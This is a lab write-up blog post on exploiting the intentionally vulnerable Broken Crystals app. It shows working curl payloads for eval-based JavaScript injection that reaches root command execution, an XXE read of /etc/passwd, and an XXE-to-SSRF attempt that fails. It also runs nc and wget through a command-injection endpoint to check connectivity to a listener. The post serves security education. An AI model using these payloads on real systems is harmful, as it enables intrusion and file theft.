> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Broken Crystals Field Notes 3: eval SSJI to root RCE, and an XXE That Reads Files but Can't Do SSRF
- URL: https://taiwanding.com/en/broken-crystals-eval-ssji-rce-xxe-ssrf/
- Published: 2026-07-03T06:06:37.000Z
- Updated: 2026-08-04T06:16:36.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

📚 Series · Broken Crystals Field Notes

1. [Part 1: Information Disclosure → Arbitrary File Read (LFI)](https://taiwanding.com/en/broken-crystals-lfi-information-disclosure-writeup/)
2. [Part 2: A Single query Parameter → root reverse shell](https://taiwanding.com/en/broken-crystals-command-injection-root-reverse-shell/)
3. ▸ Part 3: eval SSJI → RCE, and XXE (this post)
4. [Part 4: MCP Attack → admin RCE kill chain](https://taiwanding.com/en/broken-crystals-mcp-attack-jwt-none-admin-rce-kill-chain/)

> The same `dist/app.controller.js` we already used to punch through `/api/spawn` command injection still hides two more targets: the `eval()` in `/api/process_numbers` and the XXE in `/api/metadata`. This post finishes off both, and honestly documents why the XXE can read files but can't be pushed into SSRF — that part is actually worth more than a "one shot and it works" success.

## 1\. `/api/process_numbers`: eval SSJI → root RCE

### White-box triage

The source literally throws user input straight into `eval`:

```js
const processNumbersExpression = typeof payload?.processing_expression === 'string'
    && payload.processing_expression.trim().length > 0
        ? payload.processing_expression
        : 'numbers.reduce((acc, num) => acc + num, 0)';
const result = eval(processNumbersExpression);   // user-controlled string goes straight into eval

```

`processing_expression` is fully attacker-controlled, goes directly into `eval()`, and `result` is returned back to us.

### First, let's be clear: this is SSJI, not SSTI

This is easy to confuse, so let's pin it down. The difference is "what engine does the input get fed into":

- **SSTI (Server-Side Template Injection)**: the input reaches a **template engine** (Handlebars, Jinja2, doT…), and the payload is template syntax such as `{{7*7}}` or `<%= 7*7 %>`.
- **SSJI (Server-Side JavaScript Injection)**: the input goes straight into `eval()` or `Function()`, and the payload is **native JS** such as `7*7`.

`/api/process_numbers` is the latter — the input goes straight into `eval` with no template engine in between, so this is **SSJI**. (As an aside, the same controller's `/api/render` uses the doT engine via `dot.compile(text)()` — *that* one is SSTI, so the two make a nice side-by-side comparison.)

### Verification

Send a plain expression first to confirm `eval` really executes:

```bash
curl -s -X POST http://localhost:3000/api/process_numbers \
  -H "Content-Type: application/json" \
  -d '{"numbers":[1,2,3],"processing_expression":"7*7"}'
# 49

```

It returns `49` (not the string `"7*7"`) → SSJI confirmed.

### Escalating to RCE

`eval` runs Node.js, not a shell, so we need **JS syntax** to call a Node built-in module to run system commands. The key is `child_process`, and we pick `execSync` because it's **synchronous and returns the output** (the endpoint returns `result`, so we want a synchronous call whose return value is the command output):

```bash
curl -s -X POST http://localhost:3000/api/process_numbers \
  -H "Content-Type: application/json" \
  -d '{"numbers":[1],"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"}'
# uid=0(root) gid=0(root) groups=0(root),...

```

`uid=0(root)` — a second root RCE path, independent of spawn.

### Two ways SSJI beats spawn

**1\. It goes through a shell, so you can chain freely.** The spawn path was stuck on "no shell, so `;` chaining gives ENOENT", but `execSync` defaults to running through `/bin/sh -c`, so shell metacharacters work:

```bash
# id;whoami;hostname all three execute (spawn can't do this)
... "processing_expression":"require(\"child_process\").execSync(\"id;whoami;hostname\").toString()"

```

**2\. You have the entire Node.js runtime available, no shell required.** For example, pure JS reading a file directly via the `fs` module:

```bash
... "processing_expression":"require(\"fs\").readFileSync(\"/etc/passwd\").toString()"

```

The essence of SSJI is this: what you get isn't just "run a command", it's "run arbitrary Node.js code" — a strictly higher capability ceiling than plain command injection.

## 2\. `/api/metadata`: XXE Arbitrary File Read (SSRF limited)

### White-box triage

```js
const xmlDoc = parseXml(decodeURIComponent(xml), {
    noent: true,      // expand external entities — the XXE switch
    dtdvalid: true,
    recover: true
});
return xmlDoc.toString(true);   // parse result is returned → in-band XXE

```

`noent: true` tells libxmljs to expand XML external entities, and the result is returned to the user, making this an in-band XXE.

### Verification and file read

An XXE payload has three parts: the XML declaration + a `DOCTYPE` defining an external entity + a body that references that entity. The key point is that the element name and the entity name are **both arbitrary** — they just have to be consistent front-to-back (the DOCTYPE name matches the root element name, the ENTITY name matches `&name;`):

```bash
curl -s -X POST http://localhost:3000/api/metadata \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "file:///etc/passwd"> ]><pwn>&leak;</pwn>'

```

The contents of `/etc/passwd` come back reflected inside `<pwn>` — **XXE arbitrary file read confirmed.** (This is the target's third file-read path, corroborating the LFI in `/api/file` and the RCE-based read in `/api/spawn`.)

### XXE-to-SSRF attempt: can read files, but can't move it to SSRF

Swap `file://` for an internal URL, expecting the backend to actively request an internal service:

```bash
curl -s -X POST http://localhost:3000/api/metadata \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "http://172.22.0.1:8000/xxe-ssrf-proof"> ]><pwn>&leak;</pwn>'
# <pwn/>   (empty element, local listener received nothing)

```

It returns an empty `<pwn/>` element, and the local HTTP listener gets no callback at all. This needs investigating — **is the network down, or does the XXE simply not fire an HTTP request?** Use the already-confirmed reliable spawn RCE channel to isolate the variable:

```bash
# 1. test connectivity from the container to the listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc -zv 172.22.0.1 8000"
# 172.22.0.1 (172.22.0.1:8000) open      ← network is up

# 2. use the container's wget to hit the listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=wget -O- http://172.22.0.1:8000/spawn-test"
# listener received:  172.22.0.7 - - "GET /spawn-test HTTP/1.1"   ← the container can indeed send HTTP

```

Conclusion nailed down: **the network is 100% up (spawn's wget reaches the listener), but the XXE simply does not fire an HTTP request.**

### Why `file://` works but `http://` doesn't

Which protocols an external entity supports depends on the underlying **libxml2 build options**:

- `**file://**`: reads local files, basic support, almost always works (which is why reading `/etc/passwd` succeeded).
- **`http://`**: requires libxml2 to have been compiled with the **nanohttp** networking module. Slimmed-down containers (like Alpine-based ones) often disable it or ship it incomplete, so `http://` external entities never trigger a network request, the entity expands to empty → reflected as `<pwn/>`.

This is the classic reason real-world XXE-SSRF "won't move": **a successful XXE file read does not mean XXE-SSRF will succeed** — it depends on the parser's support for `http://`. This box's libxml2 has no nanohttp, so XXE-SSRF is a dead end.

## Attack Chain Summary

```
White-box source audit (dist/app.controller.js)
    ├─ /api/process_numbers  eval() SSJI
    │      ├─ 7*7 → 49                      (confirms SSJI, not SSTI)
    │      ├─ child_process.execSync('id')  → root RCE
    │      └─ shell-backed chaining + pure-JS fs read  (higher ceiling than spawn)
    │
    └─ /api/metadata  XXE (noent:true)
           ├─ file:///etc/passwd            → arbitrary file read ✅
           └─ http://internal               → SSRF ✗ (libxml2 has no nanohttp)

```

Two takeaways worth more than the exploitation itself: first, telling SSTI and SSJI apart (input into a template engine vs. into eval); second, a parser-level understanding of "XXE can read files ≠ XXE can SSRF", plus the method of using one reliable RCE channel to isolate variables and nail down the "network is up but XXE won't send HTTP" diagnosis.

*This article is a record of testing against a locally self-hosted lab within an authorized scope, for defensive research and educational purposes only. Do not use any of these techniques against unauthorized targets.*